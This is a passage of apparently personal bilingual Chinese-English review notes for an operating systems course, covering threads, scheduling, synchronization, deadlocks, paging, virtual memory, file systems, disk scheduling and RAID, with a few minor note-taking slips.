<ul>
<li>线程是CPU的分布单位</li>
<li>进程是资源的分布单位</li>
<li>线程是进程中的执行单元
<ul>
<li>一个进程可以包含多个线程，它们共享相同的地址空间和系统资源，如open files, signals。</li>
<li>每个线程有自己的栈空间和执行上下文，但它们在同一个进程内共享代码段、数据段和堆等资源。</li>
</ul>
</li>
</ul>
</li>
<li>benefits of multithreaded programming
<ol>
<li>Responsiveness</li>
<li>Resource sharing</li>
<li>Economy</li>
<li>utilization of multiprocessor architectures</li>
</ol>
</li>
</ul>
<h3 id="multithreading-models">Multithreading Models</h3>
<ul>
<li>
<p>两种线程</p>
<ul>
<li>User Threads
<ul>
<li>Provided by a thread library at the user level</li>
</ul>
</li>
<li>Kernel Threads
<ul>
<li>Provided and managed by the OS directly</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Relationship between kernel threads and user threads</p>
<ol>
<li>Many-to-one model</li>
<li>One-to-one model-</li>
<li>Many-to-many model</li>
<li>Two-level Model
<ul>
<li>主体是Many-to-many model</li>
<li>A user thread (important task) can be bound to a kernel thread</li>
</ul>
</li>
</ol>
</li>
<li>
<p>Two versions of fork() in UNIX systems</p>
<ol>
<li>To duplicate all the threads
<ul>
<li>If exec() is not called after forking, then to duplicate all threads</li>
</ul>
</li>
<li>To only duplicate the thread that invoked the fork() system call
<ul>
<li>If exec() is called immediately after forking, then only to duplicate the calling threads</li>
</ul>
</li>
</ol>
</li>
</ul>
<h2 id="chapter-5-cpu-scheduling">Chapter 5 CPU Scheduling</h2>
<h3 id="basic-concepts">Basic Concepts</h3>
<ul>
<li>CPU scheduling decisions may take place when a process:
<ol>
<li>Switches from running to waiting state
<ul>
<li>The result of  an I/O request</li>
<li>An invocation of wait for the termination of one of the child processes （e.g. wait(NULL);）</li>
</ul>
</li>
<li>Switches from running to ready state
<ul>
<li>When a interrupt occurs</li>
</ul>
</li>
<li>Switches from waiting to ready
<ul>
<li>Completion of I/O</li>
</ul>
</li>
<li>Terminates</li>
</ol>
</li>
<li>Non-preemptive (非剥夺)
<ul>
<li>Once the CPU has been allocated to a process, the process keeps the CPU until it releases the CPU</li>
<li>调度只可能发生在情况 1. 和 4.</li>
<li>简单，硬件要求低</li>
</ul>
</li>
<li>Preemptive(剥夺)</li>
</ul>
<h3 id="scheduling-criteria">Scheduling Criteria</h3>
<ol>
<li>CPU utilization</li>
<li>CPU throughout
<ul>
<li>number of processes that complete their execution per time unit.</li>
</ul>
</li>
<li>Process turnaround time
<ul>
<li>From the time of submission of a process to the time of completion, include
<ul>
<li>Waiting to get into memory</li>
<li>Waiting in the ready queue</li>
<li>Executing on the CPU</li>
<li>Doing I/O</li>
</ul>
</li>
</ul>
</li>
<li>Process waiting time (等待时间)
<ul>
<li>amount of time that a process spent waiting in the ready queue.</li>
</ul>
</li>
<li>Process response time (响应时间)
<ul>
<li>amount of the time from the submission of a request until the first response/result is produced</li>
</ul>
</li>
</ol>
<h3 id="scheduling-algorithms">Scheduling Algorithms</h3>
<ol>
<li>First come first served (FCFS)
<ul>
<li>non-preemptive</li>
<li>Convoy effect (护航效应)</li>
</ul>
</li>
<li>Shortest job first (SJF)
<ul>
<li>minimum average waiting time</li>
<li>种类
<ol>
<li>Preemptive SJF allows to preempt the currently executing process</li>
<li>Non-preemptive</li>
</ol>
</li>
<li>比较适用于长程调度</li>
</ul>
</li>
<li>Priority scheduling
<ul>
<li>问题：starvation</li>
<li>解决： Aging (时效) – as time progresses increase the priority of the process</li>
</ul>
</li>
<li>Round robin (RR)
<ul>
<li>Is designed for especially for time-sharing systems</li>
<li>preemptive</li>
<li>time quantum
<ul>
<li>需要保证 80%的cpu bursts &lt; the time quantum</li>
</ul>
</li>
<li>Response time = 2*(n-1)*q</li>
</ul>
</li>
<li>Multilevel queue algorithm</li>
<li>Multilevel feedback queue algorithm
<ul>
<li>the most general scheduling algorithm</li>
</ul>
</li>
</ol>
<h3 id="multiple-processor-scheduling">Multiple-Processor Scheduling</h3>
<ul>
<li>homogeneous vs. heterogeneous CPUs
<ul>
<li>homogeneous: 各处理器都一样</li>
</ul>
</li>
<li>Approaches to multiple-processor scheduling
<ul>
<li>Asymmetric multiprocessing
<ul>
<li>only one processor (the master server) has all scheduling decision, I/O processing</li>
</ul>
</li>
<li>Symmetric multiprocessing
<ul>
<li>each processor is self-scheduling</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="chapter-6-process-synchronization">Chapter 6 Process synchronization</h2>
<ul>
<li>Race condition
<ul>
<li>The situation where several processes access and manipulate shared data concurrently.</li>
<li>The final value of the shared data depends upon which process finishes last.</li>
</ul>
</li>
</ul>
<h3 id="the-critical-section-problem">The Critical-Section Problem</h3>
<ul>
<li>
<p>critical section</p>
<ul>
<li>Each process has a code segment, called critical section, in which the shared data is accessed</li>
<li>有几个共享变量就有几个临界区</li>
</ul>
</li>
<li>
<p>Criteria for the critical section problem solution</p>
<ol>
<li>Mutual exclusion 互斥</li>
<li>progress 空闲让进</li>
<li>Bounded waiting 有限等待</li>
</ol>
</li>
<li>
<p>Peterson’s Solution</p>
<ul>
<li>举手+令牌</li>
</ul>
</li>
<li>
<p>hardware-based solution</p>
<ul>
<li>关中断
<ul>
<li>多处理机不适合</li>
</ul>
</li>
<li>原子操作</li>
</ul>
</li>
</ul>
<h3 id="semaphores">Semaphores</h3>
<ul>
<li>
<p>A Semaphore S – integer variable</p>
<ul>
<li>may be initialized via a non-negative value</li>
<li>Can only be accessed via two indivisible (atomic) operations: P() and V()</li>
</ul>
</li>
<li>
<p>P(): the wait() operation</p>
<pre tabindex="0"><code>wait (S) { 
  while (S.value &lt;= 0) ; 	// no-op
    S.value--;
}
</code></pre></li>
<li>
<p>V() The signal() operation</p>
<pre tabindex="0"><code>signal(S){
  S.value++;
}
</code></pre></li>
<li>
<p>main problem : busy waiting (spinlock)</p>
<ul>
<li>advantages
<ol>
<li>No context switch is required when a process must wait on a lock</li>
<li>If locks are expected to be held for short times, the spinlocks are useful</li>
</ol>
</li>
<li>disadvantages
<ol>
<li>wastes the CPU cycles that can be used by other processes productively</li>
</ol>
</li>
<li>解决：modify the definition of the wait() and signal() <strong>适用于 multiprocessor system</strong>
<ul>
<li>Wait(): the process can block() itself rather than engaging in busy waiting</li>
<li>Signal(): change the blocking process from the waiting state to the ready state</li>
</ul>
</li>
</ul>
</li>
<li>
<p>implementation</p>
<ol>
<li>In a single-processor environment</li>
</ol>
<ul>
<li>Disable interrupt</li>
</ul>
<ol start="2">
<li>In a multi-processor environment</li>
</ol>
<ul>
<li>Critical section can be applied</li>
</ul>
</li>
</ul>
<h2 id="chapter-7-deadlocks">Chapter 7 Deadlocks</h2>
<ul>
<li>Necessary conditions
<ol>
<li>Mutual exclusion</li>
<li>Hold and wait</li>
<li>No preemption</li>
<li>Circular wait</li>
</ol>
</li>
</ul>
<h3 id="methods-for-handling-deadlocks">Methods for Handling Deadlocks</h3>
<ol>
<li>
<p>Prevention</p>
<ul>
<li>Provides a set of methods for ensuring that at least one of necessary conditions cannot be held</li>
<li>针对条件2： all or nothing; 没有资源的时候才去申请</li>
<li>针对条件3： 谦让； 抢夺</li>
<li>针对条件4： 顺序执行</li>
<li>缺点： low device utilization and reduce system throughput.</li>
</ul>
</li>
<li>
<p>Avoidance</p>
<ul>
<li>using the addition information,decide whether the current request can be satisfied or must be delay</li>
<li>方法：
<ol>
<li>Resource-allocation graph
<ul>
<li>有环：处于unsafe state;可能处于死锁状态</li>
</ul>
</li>
<li>Banker&rsquo;s algorithm</li>
</ol>
</li>
</ul>
</li>
<li>
<p>Detection and recovery</p>
<ul>
<li>方法:
<ul>
<li>Wait-for graph
<ul>
<li>not appilcable to a resource-allocation system with multiple instances of each resource type</li>
</ul>
</li>
<li>Banker’s Algorithm</li>
</ul>
</li>
<li>When, and how often, to invoke detection algorithm. it depends on:
<ul>
<li>How often a deadlock is likely to occur?</li>
<li>How many processes will need to be rolled back?</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Ignorance</p>
</li>
</ol>
<h2 id="chapter-8">Chapter 8</h2>
<ul>
<li>
<p>Address may be represented in</p>
<ol>
<li>symbolic address</li>
<li>re-locatable address</li>
<li>absolute address</li>
</ol>
</li>
<li>
<p>address binding</p>
<ul>
<li>转换：
<ul>
<li>symbolic address -&gt; re-locatable address : compiler</li>
<li>re-locatable address -&gt; absolute address : linkage editor or loader</li>
</ul>
</li>
<li>发生的时期
<ol>
<li>Compile time
<ul>
<li>If memory location known at compile time, absolute code can be generated</li>
<li>If memory location is not known at compile time, Must generate re-locatable code</li>
</ul>
</li>
<li>Load time （+linkage time）
<ul>
<li>if memory location is known at load time, absolute code can be generated at this time</li>
</ul>
</li>
<li>Execution time
<ul>
<li>If memory location is not known at compile time and load time, Binding is delayed until run time</li>
<li>absolute code must be generated at run time</li>
</ul>
</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3 id="logical-vs-physical-address-space">Logical vs. Physical Address Space</h3>
<ul>
<li>
<p>Logical address ：CPU</p>
<ul>
<li>also referred to as virtual address</li>
<li>重定位地址和逻辑地址没有直接关系</li>
</ul>
</li>
<li>
<p>Physical address ：memory unit</p>
</li>
<li>
<p>logical (virtual) and physical addresses differ in execution-time address-binding scheme</p>
<ul>
<li>re-locatable code are seen by CPU</li>
<li>absolute code are seen by the memory unit</li>
</ul>
</li>
<li>
<p>Memory-Management Unit (MMU)</p>
<ul>
<li>Hardware device that maps virtual address to physical address in the run-time</li>
</ul>
</li>
<li>
<p>Dynamic load</p>
<ul>
<li>not loaded the entire program and data of a process be in physical memory for the process to execute until it is called</li>
<li>好处：
<ol>
<li>Better memory-space utilization</li>
<li>No special support is required from the operating system</li>
</ol>
</li>
</ul>
</li>
<li>
<p>Dynamic linking</p>
<ul>
<li>Linking is postponed until execution time</li>
<li>requires help from the OS</li>
</ul>
</li>
</ul>
<h3 id="contiguous-memory-allocation">Contiguous Memory Allocation</h3>
<ol>
<li>Fixed-Sized Contiguous Partition
<ul>
<li>Strengths (advantages)
<ul>
<li>Simple to implement</li>
<li>little overhead</li>
</ul>
</li>
<li>Weaknesses(drawbacks)
<ul>
<li>internal fragmentation
<ul>
<li>allocated memory may be larger than requested memory</li>
</ul>
</li>
<li>fixed number of processes</li>
</ul>
</li>
</ul>
</li>
<li>Dynamic Contiguous partition（可变分区）
<ul>
<li>Hole – block of available memory</li>
<li>Allocation algorithms
<ol>
<li>first fit:
<ul>
<li>从头开始，或者是从当前位置开始</li>
</ul>
</li>
<li>best-fit
<ul>
<li>Need to search all entire list, unless the list is ordered by size</li>
<li>produces the smallest leftover hole that may be wasted</li>
</ul>
</li>
<li>worst-fit
<ul>
<li>Need to search all entire list, unless the list is ordered by size</li>
<li>小进程多的 效果好</li>
</ul>
</li>
</ol>
</li>
<li>问题：
<ul>
<li>External Fragmentation</li>
</ul>
</li>
</ul>
</li>
</ol>
<ul>
<li>
<p>Solutions to fragmentation</p>
<ol>
<li>Compaction(紧凑)
<ul>
<li>To reduce external fragmentation</li>
<li>Shuffle memory contents to place all free memory together in one large block</li>
<li>It is done at execution time， it’s possible only if relocation is dynamic</li>
<li>May be expensive in moving the processes and the holes</li>
</ul>
</li>
<li>paging</li>
<li>segmentation</li>
</ol>
</li>
<li>
<p>Disadvantage of Contiguous Memory Allocation</p>
<ul>
<li>Fragmentation in main memory</li>
<li>Compaction is impossible on the disk</li>
</ul>
</li>
</ul>
<h3 id="paging">paging</h3>
<ul>
<li>
<p>frame: Divide physical memory into fixed-sized blocks</p>
</li>
<li>
<p>page : Divide logical memory into fixed-sized blocks</p>
<ul>
<li>page size is equal to frame size</li>
<li>Finding n free frames for loading a program of size n pages</li>
</ul>
</li>
<li>
<p>Translating logical address to physical address
If the address space is 2^m and the page size is 2^n</p>
<ul>
<li>Every logical address generated by CPU is divided into:
<ol>
<li>Page number (p: 页号)
<ul>
<li>used as an index into a page table</li>
<li>页表中包含每一页在physical memory 的 base address (f:块号)</li>
<li>p =address/2^n   is equal to m-n bit of the address</li>
</ul>
</li>
<li>Page offset (d: 偏移)
<ul>
<li>combined with base address (f:块号) to define the physical memory address that is sent to the memory unit</li>
<li>d =address%2n is equal to n bit of the address</li>
</ul>
</li>
</ol>
</li>
<li>Physical address
<ol>
<li>frame number（f: 帧号、块号)</li>
<li>page offset      (d:页偏移、块偏移)</li>
</ol>
</li>
</ul>
</li>
<li>
<p>page size的选择</p>
<ul>
<li>越大：
<ul>
<li>Disk I/O is more efficient</li>
<li>page table size 越小</li>
</ul>
</li>
<li>越小：
<ul>
<li>internal fragmentation 越小</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Frame table (主存分块表)</p>
<ul>
<li>Has one entry for each physical page frame
Indicating
<ul>
<li>whether the frame is free or it is allocated to which process</li>
</ul>
</li>
</ul>
</li>
<li>
<p>page table</p>
<ul>
<li>each process must maintain a copy of the page table</li>
<li>计算
<ul>
<li>if page-table entry is 4 bytes long
<ul>
<li>Can point to one of 2^32 physical page frames (1比特=8字节)</li>
<li>If frame size(= page size) is 4KB, the system can address 2^44 bytes(2^32×2^12=16TB) of physical memory</li>
</ul>
</li>
<li>对于32位cpu
<ul>
<li>page size: 4k (=2^12)</li>
<li>Table size：2^32/2^12=1M</li>
<li>each entry&rsquo;s size : 4 bytes</li>
<li>page table 的大小为： 4 MB</li>
</ul>
</li>
</ul>
</li>
<li>位置
<ol>
<li>直接存放在寄存器中：
<ul>
<li>Efficient and expensive</li>
<li>当page table is reasonable small 时可以</li>
</ul>
</li>
<li>存放在main memory ，然后用Page-table base register (PTBR：页表基址寄存器)存放其位置
<ul>
<li>进程切换时，加载页表只需要改变PTBR</li>
<li>every data/instruction access requires two memory accesses
<ul>
<li>One for the page table</li>
<li>One for the data/instruction</li>
</ul>
</li>
</ul>
</li>
<li>Translation Look-aside Buffer (TLB) also called Associate Memory(联想寄存器)
<ul>
<li>并行查找</li>
<li>contains only a few of page-table entries</li>
</ul>
</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3 id="structure-of-the-page-table">Structure of the Page Table</h3>
<ul>
<li>问题: The page table can be excessively large</li>
<li>Solution： Divide the page table into smaller pieces
<ol>
<li>Hierarchical Paging （分层页表）</li>
<li>Hashed Page Tables（哈希页表）</li>
<li>Inverted Page Tables（反置页表）</li>
</ol>
</li>
</ul>
<ol>
<li>Hierarchical Paging （分层页表）
<ul>
<li>缺陷：</li>
</ul>
<ol>
<li>需遍历，进程太多</li>
<li>可能有共享，而进程号只能填一个</li>
<li>不适用于64位</li>
</ol>
<ul>
<li>好：
<ol>
<li>需要的空间小</li>
</ol>
</li>
</ul>
</li>
<li>Hashed Page Tables
<ul>
<li>hash table -&gt; 在链表中遍历匹配</li>
</ul>
</li>
<li>Inverted Page Table(反置页表/主存分块表)</li>
</ol>
<ul>
<li>Only a page table in the system</li>
<li>One entry for each real page (or physical frame) of memory</li>
<li>缺点：
<ul>
<li>increases time needed to search the table when a page reference occurs</li>
<li>Lead to memory share difficulty</li>
</ul>
</li>
</ul>
<h3 id="segmentation">segmentation</h3>
<ul>
<li>User’s View of a Program: A program is a collection of segments，a segment is a logical unit such as:
<ul>
<li>main program
<ul>
<li>procedure ，function，method，object</li>
<li>local variables, global   variables</li>
<li>common block</li>
<li>stack</li>
<li>symbol table</li>
<li>arrays</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="chapter-9-virtual-memory">Chapter 9 Virtual Memory</h2>
<ul>
<li>
<p>the entire program is not needed to be in physical memory.这样的好处有：</p>
<ul>
<li>程序的大小不再受内存所限制</li>
<li>更多程序可以同时运行</li>
<li>Less I/O would be needed to load or swap each user program into memory, so program would start to run faster</li>
</ul>
</li>
<li>
<p>Virtual memory management</p>
<ul>
<li>a term used to describe a technique whereby the computer appears to have much more memory than it actually does</li>
</ul>
</li>
<li>
<p>Virtual memory can be implemented via:</p>
<ul>
<li>Demand paging</li>
<li>Demand segmentation</li>
</ul>
</li>
</ul>
<h3 id="demand-paging">Demand paging</h3>
<ul>
<li>
<p>思想： Bring a page into memory only when it is needed</p>
<ul>
<li>Be similar to a paging system with swapping</li>
</ul>
</li>
<li>
<p>Hardware</p>
<ul>
<li>Page table. 需要加一位valid–invalid bit
<ul>
<li>v -》 The page is legal and in memory</li>
</ul>
</li>
<li>Secondary memory
<ul>
<li>A high-speed disk, Swap space</li>
<li>Hold those page that are not present in memory</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Page Fault</p>
<ul>
<li>Access to a page marked invalid causes a page-fault trap</li>
<li>handle
<ol>
<li>Operating system looks at another table (PCB) to decide:
<ul>
<li>Invalid reference -&gt; abort</li>
<li>Just not in memory	（go on to 2））</li>
</ul>
</li>
<li>Get empty frame</li>
<li>Swap the desired page into the frame</li>
<li>modify the page table, Set validation bit = v</li>
<li>Restart the instruction that caused the page fault</li>
</ol>
</li>
<li>特殊：
<ol>
<li>一条指令可产生多个缺页中断</li>
<li>指令复执</li>
<li>在指令执行时中断。</li>
</ol>
</li>
<li>对比普通中断：
<ul>
<li>一条指令在执行完后，检查是否有中断请求
<ul>
<li>有：执行中断</li>
<li>无：执行下一条指令</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="page-replacement">Page Replacement</h3>
<p><strong>替换算法</strong></p>
<ol>
<li>
<p>FIFO page Replacement</p>
<ul>
<li>Belady’s Anomaly : more frames -&gt; more page faults</li>
</ul>
</li>
<li>
<p>Optimal Page Replacement (OPT)</p>
<ul>
<li>替换最晚才用的页 或 后面最长时间用不到的页</li>
</ul>
</li>
<li>
<p>Least Recently Used (LRU) Algorithm</p>
<ul>
<li>思想： The recent past as an approximation of the near future</li>
<li>实现：</li>
<li>counters</li>
<li>stack</li>
</ul>
</li>
<li>
<p>LRU Approximation Algorithms</p>
<ol>
<li>Additional-reference-bits algorithm</li>
<li>Second chance (clock)</li>
<li>Enhanced second-chance algorithm</li>
</ol>
</li>
<li>
<p>Counting-Based Page Replacement</p>
<ul>
<li>Least Frequently used</li>
<li>Most Frequently used</li>
</ul>
</li>
<li>
<p>Page-Buffering Algorithm</p>
<ul>
<li>Assistant procedure to a page-replacement algorithm</li>
</ul>
</li>
</ol>
<h3 id="allocation-of-frames">Allocation of Frames</h3>
<ul>
<li>
<p>Two major allocation schemes</p>
<ol>
<li>fixed allocation
<ul>
<li>Equal allocation</li>
<li>Proportional allocation</li>
</ul>
</li>
<li>priority allocation
<ul>
<li>Use a proportional allocation scheme using priorities rather than size</li>
</ul>
</li>
</ol>
</li>
<li>
<p>Global vs. Local Allocation</p>
<ol>
<li>Local replacement
<ul>
<li>To allow a process to select from only its own set of allocated frames.</li>
<li>Cannot increase the number of frames allocated</li>
<li>Not affected by external circumstances</li>
</ul>
</li>
<li>Global replacement
<ul>
<li>To allow a process to select a replacement frame from the set of all frames, even if that frame is currently allocated to some other process</li>
<li>Can increase the number of frames allocated</li>
<li>Cannot control its page-fault rate.</li>
</ul>
</li>
</ol>
<ul>
<li>In general, global replacement is better.</li>
</ul>
</li>
</ul>
<h3 id="thrashing">Thrashing</h3>
<ul>
<li>A process is thrashing （颠簸）if it is spending more time paging than executing</li>
<li>approach
<ol>
<li>Using a local replacement algorithm</li>
<li>Working-set strategy
<ul>
<li>To compute the working-set size for each process in the system</li>
</ul>
</li>
<li>Page-Fault Frequency (PFF) Scheme  (水多了加面，面多了加水)
<ul>
<li>If actual rate too low, remove  a frame from the process</li>
<li>If actual rate too high, allocate another frame to the process</li>
<li>If no frames are free, suspend it</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="other-considerations">Other Considerations</h3>
<ul>
<li>page size 大小的选择要考虑到：
<ol>
<li>内碎片</li>
<li>页表的大小</li>
<li>I/O overhead (seek time, latency time, transfer time)</li>
<li>Locality</li>
<li>Page fault rate
<ul>
<li>顺序访问： page size越大，则缺页中断率越小</li>
<li>随机访问： page size越大，则more paging action could ensue because fewer pages can be kept in memory and more data is transferred per page fault.</li>
</ul>
</li>
</ol>
</li>
<li>Install a faster hard disk, or multiple controllers with multiple hard disks
<ul>
<li>for as the disk bottleneck is removed by faster response and more throughput to the disks, the CPU will get more data more quickly</li>
</ul>
</li>
</ul>
<h2 id="chapter-10-file-system-interface">Chapter 10 File-System Interface</h2>
<ul>
<li>File
<ul>
<li>A file is named collection of related information that is recorded on secondary storage</li>
<li>Six basic operations
<ol>
<li>create</li>
<li>read/write/seek</li>
<li>delete</li>
<li>truncate: to erase the contents of a file but keep its attributes except for it’s length</li>
</ol>
</li>
<li>Assistant operations
<ul>
<li>open(F):
<ol>
<li>search the directory structure on disk for entry F</li>
<li>copy the directory entry into the open-file table</li>
<li>allocate a file descriptor</li>
</ol>
</li>
<li>close(F):
<ol>
<li>copy the directory entry in the open-file table to the directory structure on disk</li>
<li>free the file descriptor</li>
</ol>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="access-methods">Access Methods</h3>
<ul>
<li>The information in the file can be accessed in
<ol>
<li>sequentical access</li>
<li>direct access</li>
<li>other access
<ul>
<li>involve the construction of an index for the file</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="directory-structure">Directory Structure</h3>
<ul>
<li>
<p>symbol table</p>
<ul>
<li>The directory can be viewed as a symbol table that translates file names into their directory entries</li>
</ul>
</li>
<li>
<p>Criteria</p>
<ol>
<li>efficiency</li>
<li>naming</li>
<li>grouping</li>
</ol>
</li>
<li>
<p>shemes</p>
<ol>
<li>Single-Level Directory</li>
<li>Two-Level Directory
<ul>
<li>Positive
<ul>
<li>Efficient searching</li>
</ul>
</li>
<li>Negative
<ul>
<li>No grouping capability</li>
<li>Difficult to share file among different users</li>
</ul>
</li>
</ul>
</li>
<li>Tree-Structured Directories
<ul>
<li>Positive
<ul>
<li>Efficient searching</li>
<li>Grouping Capability</li>
</ul>
</li>
<li>Negative
<ul>
<li>Difficult to share file among different users</li>
</ul>
</li>
</ul>
</li>
<li>Acyclic-Graph Directories
<ul>
<li>Tree-structured directory + shared subdirectories or files</li>
<li>Created a new directory entry  called a link to implement sharing</li>
<li>The difficulty is to avoid cycles as new links are added</li>
</ul>
</li>
<li>General Graph Directory
<ul>
<li>Add the links to an existing tree-structure directory</li>
<li>Acyclic-Graph Directories更好</li>
</ul>
</li>
</ol>
</li>
<li>
<p>硬（hard）链接</p>
<ul>
<li><code>ln /usr/local/python3 python</code></li>
<li>目录中仅存储指向文件数据的指针</li>
<li>允许一个文件被多个目录引用.</li>
<li>无法用来链接目录，也不能跨文件系统</li>
<li>通过<code>ls -i</code>查看是否为硬链接</li>
</ul>
</li>
<li>
<p>软 (symbolic) 链接</p>
<ul>
<li>“快捷方式”</li>
<li>软链接也是一个文件</li>
<li><code> ln -s ../p24 p24</code></li>
<li>目录从“树”变为了“图”，还是有环图</li>
</ul>
</li>
<li>
<p>ACL: access-control list</p>
<ul>
<li>Each file or directory has an ACL</li>
</ul>
</li>
</ul>
<h2 id="file-system-implementation">File-System Implementation</h2>
<ul>
<li>File system organized into layers
<ol>
<li>application program</li>
<li>logical file system
<ul>
<li>FCB: file control blocks</li>
</ul>
</li>
<li>file-organizational module</li>
<li>basic file system</li>
<li>I/O control</li>
<li>devices</li>
</ol>
</li>
</ul>
<h3 id="allocation-methods">Allocation Methods</h3>
<ul>
<li>
<p>An allocation method refers to how disk blocks are allocated for files</p>
</li>
<li>
<p>Contiguous allocation</p>
<ul>
<li>Each file occupies a set of contiguous blocks on the disk</li>
<li>Supports both sequential access and direct access （Random access）</li>
<li>问题：
<ol>
<li>External fragmentation</li>
<li>Files cannot grow</li>
</ol>
</li>
</ul>
</li>
<li>
<p>Linked allocation</p>
<ul>
<li>Each file is a linked list of disk blocks: blocks may be scattered anywhere on the disk</li>
<li>优点
<ol>
<li>容易实现</li>
<li>无外碎片</li>
<li>文件增长方便</li>
</ol>
</li>
<li>缺点：
<ol>
<li>No random access</li>
<li>Poor reliability</li>
<li>慢（链表是保存在磁盘上的，所以需要多次查询）</li>
</ol>
</li>
<li>改进： File-allocation table (FAT)
<ul>
<li>把链表信息放到了一个单独的FAT表中，而不是各个数据块中，且进行备份</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Indexed allocation</p>
<ul>
<li>
<p>Bringing all the pointers together into one location: index block</p>
</li>
<li>
<p>Solutions to large files</p>
<ol>
<li>Linked sheme
<ul>
<li>Link blocks of index table</li>
</ul>
</li>
<li>Multilevel index</li>
<li>Combined scheme
<ul>
<li>一部分是 direct pointers ，一部分是multi-indirect block</li>
</ul>
</li>
</ol>
</li>
<li>
<p>Criteria</p>
<ol>
<li>storage utilization efficiency</li>
<li>data block access time</li>
</ol>
<ul>
<li>Contiguous allocation: Good for known-size file</li>
<li>Linked allocation: Good for storage utilization</li>
<li>Indexed allocation: Access time depends on index structure, file size, block position</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="free-space-management">Free-Space Management</h3>
<ul>
<li>The free-space list 的实现
<ol>
<li>Bit vector
<ul>
<li>优点
<ul>
<li>Simple to implement</li>
<li>Efficient to find the first free block</li>
</ul>
</li>
<li>缺点
<ul>
<li>Bit map requires extra space</li>
<li>Inefficient unless the entire vector is kept in main memory</li>
</ul>
</li>
</ul>
</li>
<li>Linked Lists (free list)
<ul>
<li>优点
<ul>
<li>No waste of space</li>
</ul>
</li>
<li>缺点
<ul>
<li>Inefficient when traversing the list</li>
</ul>
</li>
</ul>
</li>
<li>Grouping</li>
</ol>
<ul>
<li>The first free block store the addresses of n free blocks</li>
<li>Easier to find a large number of free blocks</li>
</ul>
</li>
</ul>
<h2 id="mass-storage-systems">Mass-Storage Systems</h2>
<ul>
<li>
<p>Magnetic disk&rsquo;s structure</p>
<ul>
<li>Disk platter</li>
<li>track</li>
<li>sector
<ul>
<li>each track is subdivided into several sectors</li>
</ul>
</li>
<li>cylinder
<ul>
<li>is the set of tracks that are at one arm position</li>
</ul>
</li>
</ul>
</li>
<li>
<p>CLV vs. CAV</p>
<ol>
<li>ClV : constant linear velocity
<ul>
<li>CD-ROM， DVD-ROM</li>
<li>Tracks in the outermost zone hold more sectors</li>
</ul>
</li>
<li>CAV : constant angular velocity
<ul>
<li>Magnetic disk</li>
<li>The density of bits decreases from inner tracks to outer tracks to keep the data rate constant</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="disk-scheduling">Disk Scheduling</h3>
<ul>
<li>Access time
<ol>
<li>Seek time is the time for the disk are to move the heads to the cylinder containing the desired sector
<ul>
<li>Seek time  seek distance</li>
</ul>
</li>
<li>Rotational latency
<ul>
<li>waiting for the disk to rotate the desired sector to the disk head</li>
</ul>
</li>
</ol>
</li>
<li>Disk bandwidth
<ul>
<li>The total number of bytes transferred / the total time  between the first request for service and the completion of the last transfer</li>
</ul>
</li>
</ul>
<ol>
<li>FCFS Scheduling</li>
<li>SSTF：Shortest-seek-time-first (SSTF)
<ul>
<li>最短寻道时间优先</li>
<li>问题：
<ul>
<li>往返跑&mdash;距离很短，但速度不一定很快</li>
<li>may cause starvation of some requests</li>
</ul>
</li>
</ul>
</li>
<li>SCAN</li>
</ol>
<ul>
<li>Sometimes called the elevator algorithm</li>
</ul>
<ol start="4">
<li>C-SCAN (Circular SCAN)</li>
</ol>
<ul>
<li>The head moves from one end of the disk to the other, servicing requests as it goes</li>
<li>When it reaches the other end, however, it immediately returns to the beginning of the disk, without servicing any requests on the return trip</li>
<li>回途不载客</li>
</ul>
<ol start="5">
<li>LOOK / C-LOOK</li>
</ol>
<ul>
<li>
<p>Similar to SCAN/C-SCAN</p>
</li>
<li>
<p>Arm only goes as far as the last request in each direction, then reverses direction immediately, without first going all the way to the end of the disk.</p>
</li>
<li>
<p>选择
<strong>Performance depends on the number and types of requests</strong></p>
<ul>
<li>SCAN and C-SCAN perform better for systems that place a heavy load on the disk</li>
<li>Either SSTF or LOOK is a reasonable choice for the default algorithm</li>
</ul>
</li>
</ul>
<h3 id="disk-management">Disk Management</h3>
<ul>
<li>Disk formatting
<ul>
<li>Low-Level Formatting (physical formatting )
<ul>
<li>Dividing a disk into sectors that the disk controller can read and write</li>
</ul>
</li>
<li>logical Formatting
<ul>
<li>Creation of a file system</li>
<li>Build the metadata structures for a file system</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="raid-structure">RAID Structure</h3>
<ul>
<li>
<p>Redundant Array of Inexpensive Disks (past)</p>
</li>
<li>
<p>Redundant Array of Independent Disks (now)</p>
<ul>
<li>Used for their higher reliability and higher data-transfer rate(performance)</li>
</ul>
</li>
<li>
<p>levels</p>
<ol>
<li>RAID 0
<ul>
<li>Disk arrays with data striping at the level of blocks but without any redundancy</li>
</ul>
</li>
<li>RAID 1
<ul>
<li>Disk mirroring</li>
</ul>
</li>
<li>RAID 2
<ul>
<li>Bit-level striping or Byte-level striping</li>
<li>Memory-style error-correcting-code (ECC)</li>
</ul>
</li>
<li>RAID 3
<ul>
<li>Bit-interleaved parity</li>
</ul>
</li>
<li>RAID 4
<ul>
<li>Block-interleaved parity organization</li>
</ul>
</li>
<li>RAID 5
<ul>
<li>Block-interleaved distributed parity</li>
</ul>
</li>
</ol>
</li>
</ul>
<hr>
<h2 id="常用单词">常用单词</h2>
<ul>
<li>simultaneously : 同时地</li>
<li>idle : 空闲，懒</li>
<li>reside : 位于，居住</li>
<li>uni-processor : 单处理器</li>
<li>interleave: 交织</li>
<li>allocation : 分配</li>
<li>dashed line ： 虚线</li>
<li>minuscule : 微小的</li>
<li>concrete : 具体的</li>
<li>mandatory: 强制的</li>
<li>mediate : 调解</li>
<li>strip : 脱掉；条</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>软工导论复习笔记</title>
